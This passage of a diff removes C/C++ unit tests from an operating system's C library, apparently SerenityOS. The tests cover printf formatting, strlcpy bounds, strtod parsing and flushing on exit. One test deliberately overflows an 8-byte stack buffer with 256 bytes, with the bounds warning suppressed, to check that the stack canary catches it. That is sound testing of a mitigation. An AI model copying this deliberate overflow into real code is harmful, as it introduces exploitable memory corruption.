EXPECT(test_single<uint16_t>({ LITERAL("xxxxxxx"), "|%" PRIX16 "|", 0xC0DE, 6, LITERAL("|C0DE|\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(float_value_precision)
|
||||
{
|
||||
// An empty precision value implies a precision of 0.
|
||||
EXPECT(test_single<double>({ LITERAL("xxx\0"), "|%.f|", 0, 3, LITERAL("|0|\0") }));
|
||||
EXPECT(test_single<double>({ LITERAL("xxx\0"), "|%.f|", 1.23456789, 3, LITERAL("|1|\0") }));
|
||||
EXPECT(test_single<double>({ LITERAL("xxx\0"), "|%.0f|", 0, 3, LITERAL("|0|\0") }));
|
||||
EXPECT(test_single<double>({ LITERAL("xxx\0"), "|%.0f|", 1.23456789, 3, LITERAL("|1|\0") }));
|
||||
|
||||
// The default value for the precision is 6.
|
||||
EXPECT(test_single<double>({ LITERAL("xxxxxxxxxx\0"), "|%f|", 0, 10, LITERAL("|0.000000|\0") }));
|
||||
EXPECT(test_single<double>({ LITERAL("xxxxxxxxxx\0"), "|%f|", 1.23456789, 10, LITERAL("|1.234567|\0") }));
|
||||
EXPECT(test_single<double>({ LITERAL("xxxxxxxxxx\0"), "|%.6f|", 0, 10, LITERAL("|0.000000|\0") }));
|
||||
EXPECT(test_single<double>({ LITERAL("xxxxxxxxxx\0"), "|%.6f|", 1.23456789, 10, LITERAL("|1.234567|\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(float_value_special)
|
||||
{
|
||||
union {
|
||||
float f;
|
||||
int i;
|
||||
} v;
|
||||
|
||||
v.i = 0x7fc00000;
|
||||
EXPECT(test_single<double>({ LITERAL("xxxxxxx"), "|%4f|", v.f, 6, LITERAL("| nan|\0") }));
|
||||
EXPECT(test_single<double>({ LITERAL("xxxxxxx"), "|%4f|", -v.f, 6, LITERAL("|-nan|\0") }));
|
||||
|
||||
v.i = 0x7f800000;
|
||||
EXPECT(test_single<double>({ LITERAL("xxxxxxx"), "|%4f|", v.f, 6, LITERAL("| inf|\0") }));
|
||||
EXPECT(test_single<double>({ LITERAL("xxxxxxx"), "|%4f|", -v.f, 6, LITERAL("|-inf|\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(string_precision)
|
||||
{
|
||||
// Print the entire string by default.
|
||||
EXPECT(test_single<char const*>({ LITERAL("xxxxxx\0"), "|%s|", "WHF!", 6, LITERAL("|WHF!|\0") }));
|
||||
|
||||
// Precision limits the number of characters that are printed.
|
||||
EXPECT(test_single<char const*>({ LITERAL("xxxx\0"), "|%.2s|", "WHF!", 4, LITERAL("|WH|\0") }));
|
||||
EXPECT(test_single<char const*>({ LITERAL("xxxxxx\0"), "|%.7s|", "WHF!", 6, LITERAL("|WHF!|\0") }));
|
||||
|
||||
// An empty precision value implies a precision of 0.
|
||||
EXPECT(test_single<char const*>({ LITERAL("xx\0"), "|%.s|", "WHF!", 2, LITERAL("||\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(truncation)
|
||||
{
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxxx"), "|%d|", INT_MAX, 12, LITERAL("|2147483647|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxxxx"), "|%d|", INT_MIN, 13, LITERAL("|-2147483648|\0") }));
|
||||
|
||||
if constexpr (sizeof(long int) == 8) {
|
||||
EXPECT(test_single<long int>({ LITERAL("xxxxxxxxxxxxxxxxxxxxxx"), "|%ld|", LONG_MAX, 21, LITERAL("|9223372036854775807|\0") }));
|
||||
EXPECT(test_single<long int>({ LITERAL("xxxxxxxxxxxxxxxxxxxxxxx"), "|%ld|", LONG_MIN + 1, 22, LITERAL("|-9223372036854775807|\0") }));
|
||||
} else {
|
||||
EXPECT(test_single<long int>({ LITERAL("xxxxxxxxxxxxx"), "|%ld|", LONG_MAX, 12, LITERAL("|2147483647|\0") }));
|
||||
EXPECT(test_single<long int>({ LITERAL("xxxxxxxxxxxxxx"), "|%ld|", LONG_MIN, 13, LITERAL("|-2147483648|\0") }));
|
||||
}
|
||||
|
||||
EXPECT(test_single<long long int>({ LITERAL("xxxxxxxxxxxxxxxxxxxxxx"), "|%lld|", LLONG_MAX, 21, LITERAL("|9223372036854775807|\0") }));
|
||||
EXPECT(test_single<long long int>({ LITERAL("xxxxxxxxxxxxxxxxxxxxxxx"), "|%lld|", LLONG_MIN + 1, 22, LITERAL("|-9223372036854775807|\0") }));
|
||||
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxxx"), "|%u|", UINT_MAX, 12, LITERAL("|4294967295|\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxx"), "|%x|", UINT_MAX, 10, LITERAL("|ffffffff|\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxx"), "|%X|", UINT_MAX, 10, LITERAL("|FFFFFFFF|\0") }));
|
||||
|
||||
if constexpr (sizeof(unsigned long int) == 8) {
|
||||
EXPECT(test_single<unsigned long int>({ LITERAL("xxxxxxxxxxxxxxxxxxxxxxx"), "|%lu|", ULONG_MAX, 22, LITERAL("|18446744073709551615|\0") }));
|
||||
EXPECT(test_single<unsigned long int>({ LITERAL("xxxxxxxxxxxxxxxxxxx"), "|%lx|", ULONG_MAX, 18, LITERAL("|ffffffffffffffff|\0") }));
|
||||
EXPECT(test_single<unsigned long int>({ LITERAL("xxxxxxxxxxxxxxxxxxx"), "|%lX|", ULONG_MAX, 18, LITERAL("|FFFFFFFFFFFFFFFF|\0") }));
|
||||
} else {
|
||||
EXPECT(test_single<unsigned long int>({ LITERAL("xxxxxxxxxxxxx"), "|%lu|", ULONG_MAX, 12, LITERAL("|4294967295|\0") }));
|
||||
EXPECT(test_single<unsigned long int>({ LITERAL("xxxxxxxxxxx"), "|%lx|", ULONG_MAX, 10, LITERAL("|ffffffff|\0") }));
|
||||
EXPECT(test_single<unsigned long int>({ LITERAL("xxxxxxxxxxx"), "|%lX|", ULONG_MAX, 10, LITERAL("|FFFFFFFF|\0") }));
|
||||
}
|
||||
|
||||
EXPECT(test_single<unsigned long long int>({ LITERAL("xxxxxxxxxxxxxxxxxxxxxxx"), "|%llu|", ULLONG_MAX, 22, LITERAL("|18446744073709551615|\0") }));
|
||||
EXPECT(test_single<unsigned long long int>({ LITERAL("xxxxxxxxxxxxxxxxxxx"), "|%llx|", ULLONG_MAX, 18, LITERAL("|ffffffffffffffff|\0") }));
|
||||
EXPECT(test_single<unsigned long long int>({ LITERAL("xxxxxxxxxxxxxxxxxxx"), "|%llX|", ULLONG_MAX, 18, LITERAL("|FFFFFFFFFFFFFFFF|\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(g_format)
|
||||
{
|
||||
EXPECT(test_single<double>({ LITERAL("xxxx"), "|%g|", 0.0, 3, LITERAL("|0|\0") }));
|
||||
EXPECT(test_single<double>({ LITERAL("xxxx"), "|%g|", 1.0, 3, LITERAL("|1|\0") }));
|
||||
EXPECT(test_single<double>({ LITERAL("xxxxxx"), "|%g|", 1.1, 5, LITERAL("|1.1|\0") }));
|
||||
EXPECT(test_single<double>({ LITERAL("xxxxxxxx"), "|%g|", -1.12, 7, LITERAL("|-1.12|\0") }));
|
||||
}
|
|
@ -1,36 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Format.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
// Note: Needs to be 'noinline' so stack canary isn't optimized out.
|
||||
static void __attribute__((noinline)) smasher(char* string)
|
||||
{
|
||||
#pragma GCC diagnostic push
|
||||
#pragma GCC diagnostic ignored "-Warray-bounds"
|
||||
for (int i = 0; i < 256; i++) {
|
||||
string[i] = 'A';
|
||||
}
|
||||
#pragma GCC diagnostic pop
|
||||
}
|
||||
|
||||
// Note: Needs to be 'noinline' so stack canary isn't optimized out.
|
||||
static void __attribute__((noinline)) stack_to_smash()
|
||||
{
|
||||
char string[8] = {};
|
||||
smasher(string);
|
||||
}
|
||||
|
||||
TEST_CASE(stack_smash)
|
||||
{
|
||||
EXPECT_CRASH("Smash the stack and trigger __stack_chk_fail", [] {
|
||||
outln("[+] Starting the stack smash...");
|
||||
stack_to_smash();
|
||||
outln("[+] Stack smash wasn't detected!");
|
||||
return Test::Crash::Failure::DidNotCrash;
|
||||
});
|
||||
}
|
|
@ -1,56 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2022, Daniel Bertalan <dani@danielbertalan.dev>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
// Test whether file writes are flushed to disk at program termination,
|
||||
// even if we do not close the files or call fflush().
|
||||
TEST_CASE(flush_on_exit)
|
||||
{
|
||||
static constexpr auto test_str = "peekaboo";
|
||||
auto pid = fork();
|
||||
VERIFY(pid >= 0);
|
||||
|
||||
if (pid == 0) {
|
||||
auto* fp = fopen("/tmp/flushtest", "w");
|
||||
VERIFY(fp != nullptr);
|
||||
auto nwritten = fwrite(test_str, 1, strlen(test_str), fp);
|
||||
VERIFY(nwritten != 0);
|
||||
// We intentionally leak `fp` here.
|
||||
exit(0);
|
||||
} else {
|
||||
int wstatus;
|
||||
auto rc = waitpid(pid, &wstatus, 0);
|
||||
VERIFY(rc >= 0);
|
||||
|
||||
char buf[256];
|
||||
auto* fp = fopen("/tmp/flushtest", "r");
|
||||
VERIFY(fp != nullptr);
|
||||
auto* sp = fgets(buf, sizeof(buf), fp);
|
||||
VERIFY(sp != nullptr);
|
||||
fclose(fp);
|
||||
unlink("/tmp/flushtest");
|
||||
|
||||
EXPECT_EQ(strcmp(test_str, buf), 0);
|
||||
}
|
||||
}
|
||||
|
||||
TEST_CASE(sprintf_sign)
|
||||
{
|
||||
char buf1[128];
|
||||
int ret1 = sprintf(buf1, "%+d", 12);
|
||||
EXPECT_EQ(ret1, 3);
|
||||
|
||||
char buf2[128];
|
||||
int ret2 = sprintf(buf2, "%+d", -12);
|
||||
EXPECT_EQ(ret2, 3);
|
||||
|
||||
EXPECT_EQ(buf1, "+12"sv);
|
||||
EXPECT_EQ(buf2, "-12"sv);
|
||||
}
|
|
@ -1,147 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <AK/ByteBuffer.h>
|
||||
#include <AK/Random.h>
|
||||
#include <AK/StringBuilder.h>
|
||||
#include <ctype.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
struct Testcase {
|
||||
char const* dest;
|
||||
size_t dest_n;
|
||||
char const* src;
|
||||
size_t src_n;
|
||||
char const* dest_expected;
|
||||
size_t dest_expected_n; // == dest_n
|
||||
};
|
||||
|
||||
static ByteString show(ByteBuffer const& buf)
|
||||
{
|
||||
StringBuilder builder;
|
||||
for (size_t i = 0; i < buf.size(); ++i) {
|
||||
builder.appendff("{:02x}", buf[i]);
|
||||
}
|
||||
builder.append(' ');
|
||||
builder.append('(');
|
||||
for (size_t i = 0; i < buf.size(); ++i) {
|
||||
if (isprint(buf[i]))
|
||||
builder.append(buf[i]);
|
||||
else
|
||||
builder.append('_');
|
||||
}
|
||||
builder.append(')');
|
||||
return builder.to_byte_string();
|
||||
}
|
||||
|
||||
static bool test_single(Testcase const& testcase)
|
||||
{
|
||||
constexpr size_t SANDBOX_CANARY_SIZE = 8;
|
||||
|
||||
// Preconditions:
|
||||
if (testcase.dest_n != testcase.dest_expected_n) {
|
||||
warnln("dest length {} != expected dest length {}? Check testcase! (Probably miscounted.)", testcase.dest_n, testcase.dest_expected_n);
|
||||
return false;
|
||||
}
|
||||
if (testcase.src_n != strlen(testcase.src)) {
|
||||
warnln("src length {} != actual src length {}? src can't contain NUL bytes!", testcase.src_n, strlen(testcase.src));
|
||||
return false;
|
||||
}
|
||||
|
||||
// Setup
|
||||
ByteBuffer actual = ByteBuffer::create_uninitialized(SANDBOX_CANARY_SIZE + testcase.dest_n + SANDBOX_CANARY_SIZE).release_value();
|
||||
fill_with_random(actual);
|
||||
ByteBuffer expected = actual;
|
||||
VERIFY(actual.offset_pointer(0) != expected.offset_pointer(0));
|
||||
actual.overwrite(SANDBOX_CANARY_SIZE, testcase.dest, testcase.dest_n);
|
||||
expected.overwrite(SANDBOX_CANARY_SIZE, testcase.dest_expected, testcase.dest_expected_n);
|
||||
// "unsigned char" != "char", so we have to convince the compiler to allow this.
|
||||
char* dst = reinterpret_cast<char*>(actual.offset_pointer(SANDBOX_CANARY_SIZE));
|
||||
|
||||
// The actual call:
|
||||
size_t actual_return = strlcpy(dst, testcase.src, testcase.dest_n);
|
||||
|
||||
// Checking the results:
|
||||
bool return_ok = actual_return == testcase.src_n;
|
||||
bool canary_1_ok = MUST(actual.slice(0, SANDBOX_CANARY_SIZE)) == MUST(expected.slice(0, SANDBOX_CANARY_SIZE));
|
||||
bool main_ok = MUST(actual.slice(SANDBOX_CANARY_SIZE, testcase.dest_n)) == MUST(expected.slice(SANDBOX_CANARY_SIZE, testcase.dest_n));
|
||||
bool canary_2_ok = MUST(actual.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE)) == MUST(expected.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE));
|
||||
bool buf_ok = actual == expected;
|
||||
|
||||
// Evaluate gravity:
|
||||
if (buf_ok && (!canary_1_ok || !main_ok || !canary_2_ok)) {
|
||||
warnln("Internal error! ({} != {} | {} | {})", buf_ok, canary_1_ok, main_ok, canary_2_ok);
|
||||
buf_ok = false;
|
||||
}
|
||||
if (!canary_1_ok) {
|
||||
warnln("Canary 1 overwritten: Expected canary {}\n"
|
||||
" instead got {}",
|
||||
show(MUST(expected.slice(0, SANDBOX_CANARY_SIZE))),
|
||||
show(MUST(actual.slice(0, SANDBOX_CANARY_SIZE))));
|
||||
}
|
||||
if (!main_ok) {
|
||||
warnln("Wrong output: Expected {}\n"
|
||||
" instead got {}",
|
||||
show(MUST(expected.slice(SANDBOX_CANARY_SIZE, testcase.dest_n))),
|
||||
show(MUST(actual.slice(SANDBOX_CANARY_SIZE, testcase.dest_n))));
|
||||
}
|
||||
if (!canary_2_ok) {
|
||||
warnln("Canary 2 overwritten: Expected {}\n"
|
||||
" instead got {}",
|
||||
show(MUST(expected.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE))),
|
||||
show(MUST(actual.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE))));
|
||||
}
|
||||
if (!return_ok) {
|
||||
warnln("Wrong return value: Expected {}, got {} instead!", testcase.src_n, actual_return);
|
||||
}
|
||||
|
||||
return buf_ok && return_ok;
|
||||
}
|
||||
|
||||
// Drop the NUL terminator added by the C++ compiler.
|
||||
#define LITERAL(x) x, (sizeof(x) - 1)
|
||||
|
||||
TEST_CASE(golden_path)
|
||||
{
|
||||
EXPECT(test_single({ LITERAL("Hello World!\0\0\0"), LITERAL("Hello Friend!"), LITERAL("Hello Friend!\0\0") }));
|
||||
EXPECT(test_single({ LITERAL("Hello World!\0\0\0"), LITERAL("Hello Friend!"), LITERAL("Hello Friend!\0\0") }));
|
||||
EXPECT(test_single({ LITERAL("aaaaaaaaaa"), LITERAL("whf"), LITERAL("whf\0aaaaaa") }));
|
||||
}
|
||||
|
||||
TEST_CASE(exact_fit)
|
||||
{
|
||||
EXPECT(test_single({ LITERAL("Hello World!\0\0"), LITERAL("Hello Friend!"), LITERAL("Hello Friend!\0") }));
|
||||
EXPECT(test_single({ LITERAL("AAAA"), LITERAL("aaa"), LITERAL("aaa\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(off_by_one)
|
||||
{
|
||||
EXPECT(test_single({ LITERAL("AAAAAAAAAA"), LITERAL("BBBBB"), LITERAL("BBBBB\0AAAA") }));
|
||||
EXPECT(test_single({ LITERAL("AAAAAAAAAA"), LITERAL("BBBBBBBCC"), LITERAL("BBBBBBBCC\0") }));
|
||||
EXPECT(test_single({ LITERAL("AAAAAAAAAA"), LITERAL("BBBBBBBCCX"), LITERAL("BBBBBBBCC\0") }));
|
||||
EXPECT(test_single({ LITERAL("AAAAAAAAAA"), LITERAL("BBBBBBBCCXY"), LITERAL("BBBBBBBCC\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(nearly_empty)
|
||||
{
|
||||
EXPECT(test_single({ LITERAL(""), LITERAL(""), LITERAL("") }));
|
||||
EXPECT(test_single({ LITERAL(""), LITERAL("Empty test"), LITERAL("") }));
|
||||
EXPECT(test_single({ LITERAL("x"), LITERAL(""), LITERAL("\0") }));
|
||||
EXPECT(test_single({ LITERAL("xx"), LITERAL(""), LITERAL("\0x") }));
|
||||
EXPECT(test_single({ LITERAL("x"), LITERAL("y"), LITERAL("\0") }));
|
||||
}
|
||||
|
||||
static char* const POISON = (char*)1;
|
||||
TEST_CASE(to_nullptr)
|
||||
{
|
||||
EXPECT_EQ(0u, strlcpy(POISON, "", 0));
|
||||
EXPECT_EQ(1u, strlcpy(POISON, "x", 0));
|
||||
EXPECT(test_single({ LITERAL("Hello World!\0\0\0"), LITERAL("Hello Friend!"), LITERAL("Hello Friend!\0\0") }));
|
||||
EXPECT(test_single({ LITERAL("aaaaaaaaaa"), LITERAL("whf"), LITERAL("whf\0aaaaaa") }));
|
||||
}
|
|
@ -1,449 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
* Copyright (c) 2022, David Tuin <davidot@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <AK/ByteString.h>
|
||||
#include <AK/Format.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
static constexpr char TEXT_ERROR[] = "\x1b[01;35m";
|
||||
static constexpr char TEXT_WRONG[] = "\x1b[01;31m";
|
||||
static constexpr char TEXT_OFBY1[] = "\x1b[01;97m";
|
||||
static constexpr char TEXT_RESET[] = "\x1b[0m";
|
||||
static constexpr long long LENIENCY = 8;
|
||||
|
||||
struct Testcase {
|
||||
char const* test_name;
|
||||
int should_consume;
|
||||
char const* hex;
|
||||
char const* test_string;
|
||||
};
|
||||
|
||||
static Testcase TESTCASES[] = {
|
||||
// What I came up with on my own:
|
||||
{ "BW00", 0, "0000000000000000", ".." },
|
||||
{ "BW01", 2, "3ff0000000000000", "1..0" },
|
||||
{ "BW02", 1, "3ff0000000000000", "1" },
|
||||
{ "BW03", 2, "0000000000000000", ".0" },
|
||||
{ "BW04", 2, "0000000000000000", "0." },
|
||||
{ "BW05", 2, "0000000000000000", "0.." },
|
||||
// Second 'e' overwrites first exponent
|
||||
{ "BW06", 3, "40af400000000000", "4e3e4" },
|
||||
// Minus sign in exponent is ignored (`atof` only)
|
||||
{ "BW07", 4, "3f747ae147ae147b", "5e-3" },
|
||||
// "e" is ignored if followed by only zeros
|
||||
{ "BW08", 3, "401c000000000000", "7e0" },
|
||||
// Exponent overflow:
|
||||
{ "BW09", -1, "0000000000000000", "1e-4294967296" },
|
||||
// Excessive time use(!):
|
||||
{ "BW10", -1, "0000000000000000", "1e-999999999" },
|
||||
// Excessively large exponent (>64 bits):
|
||||
{ "BW10", -1, "0000000000000000", "1e-9999999999999999999999" },
|
||||
|
||||
// Bugs I nearly introduced
|
||||
{ "BWN01", 2, "3ff0000000000000", "1.-2" },
|
||||
{ "BWN02", 2, "3ff0000000000000", "1. 2" },
|
||||
{ "BWN03", 0, "0000000000000000", "++2" },
|
||||
{ "BWN04", 1, "0000000000000000", "0b101" },
|
||||
{ "BWN05", 3, "0000000000000000", " 0b101" },
|
||||
{ "BWN06", 1, "0000000000000000", "0o123" },
|
||||
{ "BWN07", 1, "0000000000000000", "0y2" },
|
||||
{ "BWN08", 1, "3ff0000000000000", "1e" },
|
||||
{ "BWN09", 1, "3ff0000000000000", "1e-" },
|
||||
{ "BWN10", 6, "4034000000000000", "2e0001" },
|
||||
{ "BWN11", 6, "41ddcd6500000000", "2e0009" },
|
||||
{ "BWN12", 1, "0000000000000000", "0d1" },
|
||||
{ "BWN13", -1, "7ff0000000000000", "184467440737095516151234567890e2147483639" },
|
||||
{ "BWN14", -1, "0000000000000000", ".1234567890e-2147483639" },
|
||||
{ "BWN15", -1, "8000000000000000", "-1e-9999" },
|
||||
{ "BWN16", -1, "c3389e56ee5e7a58", "-6929495644600919.5" },
|
||||
{ "BWN17", -1, "c3389e56ee5e7a57", "-6929495644600919" },
|
||||
{ "BWN18", -1, "630a2b939cbca17f", "12345678901234567890e150" },
|
||||
{ "BWN19", -1, "24c186a8a3f159df", "12345678901234567890e-150" },
|
||||
|
||||
// From the Serenity GitHub tracker:
|
||||
// https://github.com/SerenityOS/serenity/issues/1979
|
||||
{ "SR1", -1, "4014000000000001", "5.000000000000001" },
|
||||
{ "SR2", -1, "4014000000000000", "5.0000000000000001" },
|
||||
{ "SR3", -1, "3ff0000000000000", "1.0000000000000000000000000000001" },
|
||||
{ "SR4", -1, "3ff0000000000000", "1.00000000000000000000000000000001" },
|
||||
{ "SR5", -1, "3ff1f9add37c1216", "1.12345678912345678912345678912345" },
|
||||
{ "SR6", -1, "3ff1f9add37c1216", "1.123456789123456789123456789123456789123456789" },
|
||||
|
||||
// Inspired from Abraham Hrvoje's "negativeFormattingTests":
|
||||
// https://github.com/ahrvoje/numerics/blob/master/strtod/strtod_tests.toml
|
||||
// Note that my interpretation is slightly stricter than what Abraham Hrvoje wrote.
|
||||
{ "AHN01", 3, "7ff0000000000000", "inf1" },
|
||||
{ "AHN02", 3, "7ff0000000000000", "inf+" },
|
||||
{ "AHN03", 0, "0000000000000000", ".E" },
|
||||
{ "AHN04", 3, "3ff0000000000000", "1.0e" },
|
||||
{ "AHN05", 4, "400399999999999a", "2.45+e+3" },
|
||||
{ "AHN06", 2, "4037000000000000", "23e.23" },
|
||||
{ "AHN07", 0, "0000000000000000", "e9" },
|
||||
{ "AHN08", 0, "0000000000000000", "+e" },
|
||||
{ "AHN09", 0, "0000000000000000", "e+" },
|
||||
{ "AHN10", 0, "0000000000000000", "." },
|
||||
{ "AHN11", 0, "0000000000000000", "e" },
|
||||
{ "AHN12", 2, "3fe6666666666666", ".7+" },
|
||||
{ "AHN13", 3, "3fcae147ae147ae1", ".21e" },
|
||||
{ "AHN14", 0, "0000000000000000", "+" },
|
||||
{ "AHN15", 0, "0000000000000000", "" },
|
||||
{ "AHN16", 3, "7ff0000000000000", "infe" },
|
||||
{ "AHN17", 3, "7ff8000000000000", "nan(err" },
|
||||
{ "AHN18", 3, "7ff8000000000000", "nan)" },
|
||||
{ "AHN19", 3, "7ff8000000000000", "NAN(test_)_)" },
|
||||
{ "AHN20", 3, "7ff8000000000000", "nan0" },
|
||||
{ "AHN21", 0, "0000000000000000", "-.e+" },
|
||||
{ "AHN22", 0, "0000000000000000", "-+12.34" },
|
||||
|
||||
// For a better description, see:
|
||||
// https://github.com/ahrvoje/numerics/blob/master/strtod/strtod_tests.toml
|
||||
// (Comments removed for ease of format conversion.)
|
||||
// My machine generates the NaN "fff8000000000000" for 0/0, so I replaced the "correct" result by that.
|
||||
{ "F0", -1, "348834c13cbf331d", "12.34E-56" },
|
||||
{ "F1", -1, "c07c800000000000", "-456." },
|
||||
{ "F2", -1, "405ec00000000000", "+123" },
|
||||
{ "F3", -1, "7ff8000000000000", "nan" },
|
||||
{ "F4", -1, "7ff8000000000000", "NaN" },
|
||||
{ "F5", -1, "7ff8000000000000", "NAN" },
|
||||
{ "F6", -1, "7ff0000000000000", "inf" },
|
||||
{ "F7", -1, "7ff0000000000000", "Inf" },
|
||||
{ "F8", -1, "7ff0000000000000", "INF" },
|
||||
{ "F9", -1, "fff0000000000000", "-inf" },
|
||||
{ "F10", -1, "7ff0000000000000", "+inF" },
|
||||
{ "F11", -1, "7ff0000000000000", "+INF" },
|
||||
{ "F12", -1, "3ff0000000000000", "1.0" },
|
||||
{ "F13", -1, "4059000000000000", "1e2" },
|
||||
{ "F14", -1, "44ada56a4b0835c0", "7.e22" },
|
||||
{ "F15", -1, "44ada56a4b0835c0", "7.0e22" },
|
||||
{ "F16", -1, "44ada56a4b0835c0", "7.0e+22" },
|
||||
{ "F17", -1, "3b8a71fc0e147309", "7.0e-22" },
|
||||
{ "F18", -1, "c02699999999999a", "-1.13e1" },
|
||||
{ "F19", -1, "402699999999999a", "+1.13e+1" },
|
||||
{ "F20", -1, "36e069d1347fd4b5", "23e-45" },
|
||||
{ "F21", -1, "402a000000000000", ".13e2" },
|
||||
{ "F22", -1, "beb5cf751db94e6b", "-.13e-5" },
|
||||
{ "F23", -1, "405ec00000000000", "123" },
|
||||
{ "F24", -1, "7ff8000000000000", "+nan" },
|
||||
{ "F25", -1, "7ff0000000000000", "infinity" },
|
||||
{ "F26", -1, "7ff0000000000000", "Infinity" },
|
||||
{ "F27", 3, "7ff8000000000000", "nan(type-0)" },
|
||||
{ "F28", 4, "7ff8000000000000", "+nan(catch_22)" },
|
||||
{ "F29", -1, "7ff0000000000000", "INFINITY" },
|
||||
{ "F30", -1, "3ff0000000000000", "0.00000001e+8" },
|
||||
{ "F31", -1, "fff0000000000000", "-infinity" },
|
||||
{ "F32", -1, "3705f1a59c73408e", "123.e-45" },
|
||||
{ "F33", -1, "4085300000000000", "678." },
|
||||
{ "F34", 4, "fff8000000000000", "-nan()" },
|
||||
{ "C0", -1, "0000000000000000", "0.000e+00" },
|
||||
{ "C1", -1, "0000000000000000", "1e-400" },
|
||||
{ "C2", -1, "0000000000000000", "2.4703282292062326e-324" },
|
||||
{ "C3", -1, "0000000000000000", "2.4703282292062327e-324" },
|
||||
{ "C4", -1, "0000000000000001", "2.4703282292062328e-324" },
|
||||
{ "C5", -1, "0000000000000001", "4.9406564584124654e-324" },
|
||||
{ "C6", -1, "00000000000007e8", "1e-320" },
|
||||
{ "C7", -1, "000fffffffffffff", "2.2250738585072009e-308" },
|
||||
{ "C8", -1, "0010000000000000", "2.2250738585072014e-308" },
|
||||
{ "C9", -1, "3abef2d0f5da7dd9", "1e-25" },
|
||||
{ "C10", -1, "3b282db34012b251", "1.0e-23" },
|
||||
{ "C11", -1, "3ff3c0ca428c59fb", "1.2345678901234567890" },
|
||||
{ "C12", -1, "402699999999999a", "1.13e1" },
|
||||
{ "C13", -1, "43e158e460913d00", "1e+19" },
|
||||
{ "C14", -1, "449017f7df96be18", "1.9e+22" },
|
||||
{ "C15", -1, "4496deb1154f79ec", "2.7e22" },
|
||||
{ "C16", -1, "449a420db02bd7d6", "3.1e22" },
|
||||
{ "C17", -1, "44ada56a4b0835c0", "7e22" },
|
||||
{ "C18", -1, "7fefffffffffffff", "1.7976931348623158e+308" },
|
||||
{ "C19", -1, "7ff0000000000000", "1.7976931348623159e+308" },
|
||||
{ "C20", -1, "7ff0000000000000", "1e+400" },
|
||||
{ "C21", -1, "000fffffffffffff", "2.225073858507201136057409796709131975934819546351645648023426109724822222021076945516529523908135087914149158913039621106870086438694594645527657207407820621743379988141063267329253552286881372149012981122451451889849057222307285255133155755015914397476397983411801999323962548289017107081850690630666655994938275772572015763062690663332647565300009245888316433037779791869612049497390377829704905051080609940730262937128958950003583799967207254304360284078895771796150945516748243471030702609144621572289880258182545180325707018860872113128079512233426288368622321503775666622503982534335974568884423900265498198385487948292206894721689831099698365846814022854243330660339850886445804001034933970427567186443383770486037861622771738545623065874679014086723327636718749999999999999999999999999999999999999e-308" },
|
||||
{ "C22", -1, "0010000000000000", "2.22507385850720113605740979670913197593481954635164564802342610972482222202107694551652952390813508791414915891303962110687008643869459464552765720740782062174337998814106326732925355228688137214901298112245145188984905722230728525513315575501591439747639798341180199932396254828901710708185069063066665599493827577257201576306269066333264756530000924588831643303777979186961204949739037782970490505108060994073026293712895895000358379996720725430436028407889577179615094551674824347103070260914462157228988025818254518032570701886087211312807951223342628836862232150377566662250398253433597456888442390026549819838548794829220689472168983109969836584681402285424333066033985088644580400103493397042756718644338377048603786162277173854562306587467901408672332763671875e-308" },
|
||||
{ "C23", -1, "0010000000000000", "0.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000222507385850720138309023271733240406421921598046233183055332741688720443481391819585428315901251102056406733973103581100515243416155346010885601238537771882113077799353200233047961014744258363607192156504694250373420837525080665061665815894872049117996859163964850063590877011830487479978088775374994945158045160505091539985658247081864511353793580499211598108576605199243335211435239014879569960959128889160299264151106346631339366347758651302937176204732563178148566435087212282863764204484681140761391147706280168985324411002416144742161856716615054015428508471675290190316132277889672970737312333408698898317506783884692609277397797285865965494109136909540613646756870239867831529068098461721092462539672851562500000000000000001" },
|
||||
{ "C24", -1, "7ff0000000000000", "179769313486231580793728971405303415079934132710037826936173778980444968292764750946649017977587207096330286416692887910946555547851940402630657488671505820681908902000708383676273854845817711531764475730270069855571366959622842914819860834936475292719074168444365510704342711559699508093042880177904174497792" },
|
||||
